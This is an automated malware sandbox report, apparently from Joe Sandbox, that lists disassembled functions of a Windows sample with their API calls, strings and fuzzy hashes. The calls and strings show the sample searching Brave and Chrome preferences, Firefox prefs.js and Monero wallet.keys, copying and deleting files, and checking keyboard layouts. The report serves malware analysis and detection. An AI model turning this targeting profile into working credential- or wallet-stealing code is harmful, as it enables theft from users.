Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 4adf6ab1b3489449ec5b23af3367d0e1020367a8ecf82b747b5978ab6cb5f2dc
Instruction ID: e29df1646b12cca12862d82cb60539ea707b2c6815dafc168576c2ce6dcb3ca7
Opcode Fuzzy Hash: 4adf6ab1b3489449ec5b23af3367d0e1020367a8ecf82b747b5978ab6cb5f2dc
Instruction Fuzzy Hash: 93425172910108ABDB14FB71DD96FEE733DABC4301F404658B90A97191EE34AB4DCBA6

Function 00954910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0095492C
FindFirstFileA.KERNEL32(?,?), ref: 00954943
StrCmpCA.SHLWAPI(?,00960FDC), ref: 00954971
StrCmpCA.SHLWAPI(?,00960FE0), ref: 00954987
FindNextFileA.KERNEL32(000000FF,?), ref: 00954B7D
FindClose.KERNEL32(000000FF), ref: 00954B92

Strings

%s\*, xrefs: 00954920
%s\%s, xrefs: 009549A4
%s\%s, xrefs: 009549FB

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: cc01f47adfeae0e561a076197025dee4861dfa7aa15a3afe981e05178a3b0057
Instruction ID: b560c40e47bb3b67548f99c5ec7470e6c8cdc0e8d30e36763a1926595af888f1
Opcode Fuzzy Hash: cc01f47adfeae0e561a076197025dee4861dfa7aa15a3afe981e05178a3b0057
Instruction Fuzzy Hash: B76168B1900218ABDB24EBA0DC85FEA737CBB88705F044589F50997151EF75EB89CFA1

Function 00954570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00954580
RtlAllocateHeap.NTDLL(00000000), ref: 00954587
wsprintfA.USER32 ref: 009545A6
FindFirstFileA.KERNEL32(?,?), ref: 009545BD
StrCmpCA.SHLWAPI(?,00960FC4), ref: 009545EB
StrCmpCA.SHLWAPI(?,00960FC8), ref: 00954601
FindNextFileA.KERNEL32(000000FF,?), ref: 0095468B
FindClose.KERNEL32(000000FF), ref: 009546A0
lstrcat.KERNEL32(?,015EE4B0), ref: 009546C5
lstrcat.KERNEL32(?,015ED358), ref: 009546D8
lstrlen.KERNEL32(?), ref: 009546E5
lstrlen.KERNEL32(?), ref: 009546F6

Strings

%s\*, xrefs: 0095459A
%s\%s, xrefs: 0095461B

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 66bdf72f281c5f8d320cc8ea33913466f2ad403f03cb4372be4015634de897b0
Instruction ID: 424838a11257280e750e828a03a734a58e6b83aac40d8855d576adb641181591
Opcode Fuzzy Hash: 66bdf72f281c5f8d320cc8ea33913466f2ad403f03cb4372be4015634de897b0
Instruction Fuzzy Hash: 6E5156B59102189BD764EB70DC89FEE777CAB98301F404589F60997190EF749B88CFA2

Function 00953EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00953EC3
FindFirstFileA.KERNEL32(?,?), ref: 00953EDA
StrCmpCA.SHLWAPI(?,00960FAC), ref: 00953F08
StrCmpCA.SHLWAPI(?,00960FB0), ref: 00953F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0095406C
FindClose.KERNEL32(000000FF), ref: 00954081

Strings

%s\%s, xrefs: 00953EB7

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 1d12097aa009e8a2bbac552f5401214436a0b62962d318ad97411490aa443663
Instruction ID: 50e73c756419f231008292ff90fe322d660ec79ef62e4d56aa8c5db84a6ddb25
Opcode Fuzzy Hash: 1d12097aa009e8a2bbac552f5401214436a0b62962d318ad97411490aa443663
Instruction Fuzzy Hash: 3C5177B2900218ABDB24EBB1DC85FEA737CBB84301F404589B65997050EF75EB89CF65

Function 0094ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0094ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0094ED55
StrCmpCA.SHLWAPI(?,00961538), ref: 0094EDAB
StrCmpCA.SHLWAPI(?,0096153C), ref: 0094EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0094F2AE
FindClose.KERNEL32(000000FF), ref: 0094F2C3

Strings

%s\*.*, xrefs: 0094ED32

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 661ec9e7353b5c62a3ab9827b5e8b29c2131b17a737cd5f528fd65371da6738d
Instruction ID: 4178f6ea53ee1c8304de3ca12325d7e761a9f7967c2e0efddd0b4dfd87ab8f3a
Opcode Fuzzy Hash: 661ec9e7353b5c62a3ab9827b5e8b29c2131b17a737cd5f528fd65371da6738d
Instruction Fuzzy Hash: C2E1A1719111189AEB55FB61DC52FEE733CAF94301F404699B90A62092EF306F8ECF5A

Function 0094F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009615B8,00960D96), ref: 0094F71E
StrCmpCA.SHLWAPI(?,009615BC), ref: 0094F76F
StrCmpCA.SHLWAPI(?,009615C0), ref: 0094F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0094FAB1
FindClose.KERNEL32(000000FF), ref: 0094FAC3

Strings

prefs.js, xrefs: 0094F812

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 44dafb1aea01e8a3d2db1b915a39d922a5d5e1975bdeffe6c7e9ef3eb6b54826
Instruction ID: 3ffa5c583490f35c50e3f43b20c106b8645d53a21596b43ff0a52e7daf945440
Opcode Fuzzy Hash: 44dafb1aea01e8a3d2db1b915a39d922a5d5e1975bdeffe6c7e9ef3eb6b54826
Instruction Fuzzy Hash: 19B141719001189BDB24FF61DC96FEE7379AFD4301F4086A8A90A97191EF306B4DCB96

Function 009416D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0096510C,?,?,?,009651B4,?,?,00000000,?,00000000), ref: 00941923
StrCmpCA.SHLWAPI(?,0096525C), ref: 00941973
StrCmpCA.SHLWAPI(?,00965304), ref: 00941989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00941D40
DeleteFileA.KERNEL32(00000000), ref: 00941DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00941E20
FindClose.KERNEL32(000000FF), ref: 00941E32

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Strings

\*.*, xrefs: 009417F1

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 438337edb5ac2bdefaa88838f9bdcfe7171c7d7d87ef6cfd1db66259be9df17b
Instruction ID: 9befa3506e7a7ddbdb6ec1584d322d082e7c2342ab96ed2c602de96f6830b7aa
Opcode Fuzzy Hash: 438337edb5ac2bdefaa88838f9bdcfe7171c7d7d87ef6cfd1db66259be9df17b
Instruction Fuzzy Hash: DE12EF719101189BDB19FB61DCA6FEE7378AF94301F404699B90A62091EF306F8DCF99

Function 0094DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00960C2E), ref: 0094DE5E
StrCmpCA.SHLWAPI(?,009614C8), ref: 0094DEAE
StrCmpCA.SHLWAPI(?,009614CC), ref: 0094DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0094E3E0
FindClose.KERNEL32(000000FF), ref: 0094E3F2

Strings

\*.*, xrefs: 0094DE26

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: bbc728ba2c43ca2116e27a0d8ef581f8800f01ad2b3c8727eb658974c5773e3f
Instruction ID: 9fe97d05b259bdbfeca09ed3b026e449497689c09b9c8830d53663dc62f60cc0
Opcode Fuzzy Hash: bbc728ba2c43ca2116e27a0d8ef581f8800f01ad2b3c8727eb658974c5773e3f
Instruction Fuzzy Hash: 34F19E719141189ADB15EB61DC95FEE7338BF94301F8042D9B91A620A1EF306F8ECF69

Function 0094DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009614B0,00960C2A), ref: 0094DAEB
StrCmpCA.SHLWAPI(?,009614B4), ref: 0094DB33
StrCmpCA.SHLWAPI(?,009614B8), ref: 0094DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0094DDCC
FindClose.KERNEL32(000000FF), ref: 0094DDDE

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 74687fc993a11c46050a0863a01bd499288995caa78449e5b7f3e8e54796b2c1
Instruction ID: 0d3580489f3e05fc4de8f069461bc108402ca93c57401f73f2f4b35981aff965
Opcode Fuzzy Hash: 74687fc993a11c46050a0863a01bd499288995caa78449e5b7f3e8e54796b2c1
Instruction Fuzzy Hash: AD915F72900104ABDB14FB71EC96EED777CABC8301F408669BD0A96191FE349B4DCB96

Function 00957B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

GetKeyboardLayoutList.USER32(00000000,00000000,009605AF), ref: 00957BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00957BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00957C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00957C62
LocalFree.KERNEL32(00000000), ref: 00957D22

Strings

/ , xrefs: 00957C7F

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 2ef909328ed372b3ce6df17c97bd0ef64e5287508ba7fc0b38c5ad905914ebaa
Instruction ID: af02b4761572608845440011f722aacd642a0895e21f9021e48ad3ed641e7100
Opcode Fuzzy Hash: 2ef909328ed372b3ce6df17c97bd0ef64e5287508ba7fc0b38c5ad905914ebaa
Instruction Fuzzy Hash: 0D416071940118ABDB24DF95DC99BEEB778FF84701F2042D9E90962290DB342F89CFA5

Function 00D0EFFD Relevance: 10.3, Strings: 7, Instructions: 1556COMMON

Download Yara Rule

Strings

aK$, xrefs: 00D0F21B
B-_], xrefs: 00D0FB48
bC6, xrefs: 00D0F8BD
)7Om, xrefs: 00D0F583
.O{, xrefs: 00D0FE4D
x?, xrefs: 00D0F2E3
56q, xrefs: 00D0F2B4

Memory Dump Source

